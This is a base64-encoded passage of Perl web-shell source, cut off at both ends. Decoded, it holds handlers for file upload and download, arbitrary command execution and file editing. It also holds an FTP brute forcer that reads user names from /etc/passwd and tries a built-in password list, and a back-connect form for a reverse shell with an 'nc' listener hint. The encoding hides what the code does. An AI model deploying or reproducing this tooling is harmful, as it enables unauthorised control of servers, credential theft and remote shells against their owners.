S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCgl9CglteSAkcmVzdWx0PSIiOwoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MKCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsKCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CgkkQ3VycmVudERpciA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpcik7CglteSAkcmVzdWx0PSIiOwoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkjIHh1YXQgdGhvbmcgdGluIGtoaSBjaHV5ZW4gZGVuIDEgdGh1IG11YyBuYW8gZG8hCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOwoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCX1lbHNpZigkUnVuQ29tbWFuZCA9fiBtL15ccyplZGl0XHMrKC4rKS8pCgl7CgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsKCX1lbHNlCgl7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kPC9ydW4+PGJyPjx0ZXh0YXJlYSBpZD0nZGF0YScgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkkcmVzdWx0IC49JlJ1bkNtZDsKCX0KCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgcnVuIGNvbW1hbmQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7Cgl9CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIEZvcm0gU2F2ZSBGaWxlIAojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZUZvcm0KewoJbXkgJHJlc3VsdCA9IiI7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsKCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsKCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiIGNsYXNzPSJzdWJtaXQiID4nOwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7CglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsKCWlmKC13ICRGaWxlKQoJewoJCSRyb3dzPSIyMyIKCX1lbHNlCgl7CgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdjb2xvcjogeWVsbG93OycgPiBDYW5uJ3Qgd3JpdGUgZmlsZSE8Zm9udD48YnI+IjsKCQkkcm93cz0iMjAiCgl9CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7CgkkUnVuQ29tbWFuZCA9ICJlZGl0ICRSdW5Db21tYW5kIjsKCSRyZXN1bHQgLj0gIDw8RU5EOwoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KCSRQcm9tcHQKCTxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+Cgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZwoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+CkVORAoJCgkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCZGaWxlT3BlbigkRmlsZSwwKSk7CgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGaWxlIE9wZW4KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgRmlsZU9wZW4oJCl7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJGJpbmFyeSA9IHNoaWZ0OwoJbXkgJHJlc3VsdCA9ICIiOwoJbXkgJG4gPSAiIjsKCWlmKC1mICRmaWxlKXsKCQlpZihvcGVuKEZJTEUsJGZpbGUpKXsKCQkJaWYoJGJpbmFyeSl7CgkJCQliaW5tb2RlIEZJTEU7CgkJCX0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsKCQkJCSRyZXN1bHQgLj0gJGRhdGE7CgkJCX0KCQkJY2xvc2UoRklMRSk7CgkJfQoJfWVsc2UKCXsKCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIFNhdmUgRmlsZQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZSgkKQp7CglteSAkRGF0YT0gc2hpZnQgOwoJbXkgJEZpbGU9IHNoaWZ0OwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7CglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkKCXsKCQliaW5tb2RlIEZJTEU7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXJldHVybiAxOwoJfWVsc2UKCXsKCQlyZXR1cm4gMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyIEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ1dGVGb3JjZXJGb3JtCnsKCW15ICRyZXN1bHQ9IiI7CgkkcmVzdWx0IC49IDw8RU5EOwoKPHRhYmxlPgoKPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+Ck5vdGU6IE9ubHkgc2NhbiBmcm9tIDEgdG8gMyB1c2VyIDotUzxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3UKPC90ZXh0YXJlYT4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+ClNsZWVwOjxzZWxlY3QgbmFtZT0ic2xlZXAiPgoKPG9wdGlvbj4wPC9vcHRpb24+CjxvcHRpb24+MTwvb3B0aW9uPgo8b3B0aW9uPjI8L29wdGlvbj4KCjxvcHRpb24+Mzwvb3B0aW9uPgo8L3NlbGVjdD4gCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+CjwvZm9ybT4KPC90YWJsZT4KRU5ECnJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ1dGVGb3JjZXIKewoJbXkgJHJlc3VsdD0iIjsKCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsKCWlmKCRpbnsndXNlcid9IGVxICIiKQoJewoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsKCX1lbHNlCgl7CgkJdXNlIE5ldDo6RlRQOyAKCQlAdXNlcj0gc3BsaXQoL1xuLywgJGlueyd1c2VyJ30pOwoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7CgkJY2hvbXAoQHVzZXIpOwoJCWNob21wKEBwYXNzKTsKCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsKCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpCgkJewoJCQlpZigkdXNlcm5hbWUgbmUgIiIpCgkJCXsKCQkJCWZvcmVhY2ggJHBhc3N3b3JkIChAcGFzcykKCQkJCXsKCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyAKCQkJCQlpZigkZnRwLT5sb2dpbigiJHVzZXJuYW1lIiwiJHBhc3N3b3JkIikpCgkJCQkJewoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsKCQkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJCQlicmVhazsKCQkJCQl9CgkJCQkJaWYoJGlueydzbGVlcCd9IG5lICIwIikKCQkJCQl7CgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNiIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8